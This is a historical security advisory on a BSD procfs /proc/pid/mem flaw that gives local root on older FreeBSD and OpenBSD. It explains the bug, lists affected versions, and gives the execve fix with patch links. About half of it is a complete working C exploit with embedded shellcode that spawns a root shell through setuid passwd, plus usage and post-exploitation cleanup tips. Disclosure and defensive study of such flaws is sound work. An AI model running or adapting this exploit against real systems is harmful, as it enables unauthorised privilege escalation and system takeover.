|
|
|
|
| |
| In January 1997 a fatal flaw in BSD procfs code (leading to a local root compromise) was discussed on various security forums. The exploit code dealt with /proc/pid/mem interface. Since then BSD kernels contained a simple fix that was supposed to close this hole. Unfortunately, throughout these three years it is still possible to abuse /proc/pid/mem in a similar, though more complicated fashion - leads to local root compromise. |
| |
Credit:
The information was provided by: Rafal Wojtczuk.
|
| |
Vulnerable systems:
FreeBSD 2.8
FreeBSD 3.0
FreeBSD 3.3
OpenBSD 2.4
OpenBSD 2.5
OpenBSD 2.6
Immune systems:
Linux (all types)
The bug is present in kernels used in current (and most older) FreeBSD and OpenBSD distributions. In order to make this flaw exploitable, the procfs filesystem must be mounted. In the default FreeBSD 3.3 installation, procfs is mounted, but in default OpenBSD 2.6 installation, it is not. Note that administrators often mount procfs filesystem for its benefits.
The procfs exploit code from 1997 was straightforward. An unprivileged process A forks off a process B. 'A' opens /proc/pid-of-B/mem. 'B' executes a setuid binary. Though B now has a different euid than A, A is still able to control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change B's flow of execution in an arbitrary way.
In order to stop this exploit, an additional check was added to the code responsible for I/O on file descriptors referring to procfs pseudofiles. In miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
((p2)->p_flag & P_SUGID) == 0) || \
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as target process (p2), unless... p1 has root privileges. So, if we can trick a setuid program X into writing to a file descriptor F referring to a procfs object, the above check will not prevent X from writing. As some of readers certainly already have guessed, F's number will be 2, stderr fileno... We can pass to a setuid program an appropriately lseeked file descriptor no 2 (pointing to some /proc/pid/mem), and this program will blindly write there error messages. Such output is often partially controllable (e.g. contains program's name), so we can write almost arbitrary data onto other setuid program's memory.
This scenario looks similar to
' close(fileno(stderr)); execl("setuid-program",...) '
exploits, but in fact differs profoundly. It exploits the fact that the properties of an fd pointing into procfs is not determined fully by "open" syscall (all other fd are; skipping issues related to securelevels). These properties can change because of privileged code execution. As a result, (privileged) children of some process P can inherit an fd opened read-write, though P can't directly gain such an fd via open syscall.
The attached sample exploit (for Intel platform) code runs /usr/bin/passwd, but almost any setuid program can be used. This code was tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6. The code overwrites stack with addresses of a shellcode, which is placed in an environment variable. The code is a bit crude, but there were some obscure problems with building a working exploit. It requires two arguments: an offset from the current stack pointer and an offset from default shellcode position.
/procfs_exp -4000 -10000
Worked for all tested platforms. Having seen "#" prompt, one should probably issue "stty sane" command to clean tty state. On OpenBSD, having gained root prompt one should remove /etc/ptmp file.
Solution:
Linux also features proc filesystem with similar functionality, but it is not vulnerable to this exploit. That is so because on Linux if a process p1 wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be traced by p1 (moreover, mem_write function is currently defined as NULL, so /proc/pid/mem can be altered only with use of mmap; irrelevant here). It may be tempting to impose similar restriction in BSD kernels. However, on BSD a process p1 can attach p2 for tracing merely by writing to /proc/pid-of-p2/ctl file; as we have just seen it is possible to force a setuid program to write arbitrary strings to /proc files.
The solution (by deraadt) is to add a certain check in execve syscall. If a process X tries to exec a setuid binary, we make sure it holds no open descriptors pointing into procfs filesystem.
Patches are available on
http://www.openbsd.org/errata.html#procfs
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
As a workaround, it is enough to umount /proc and comment it out from /etc/fstab.
Exploit code:
/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>
char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
|
|
|
|
|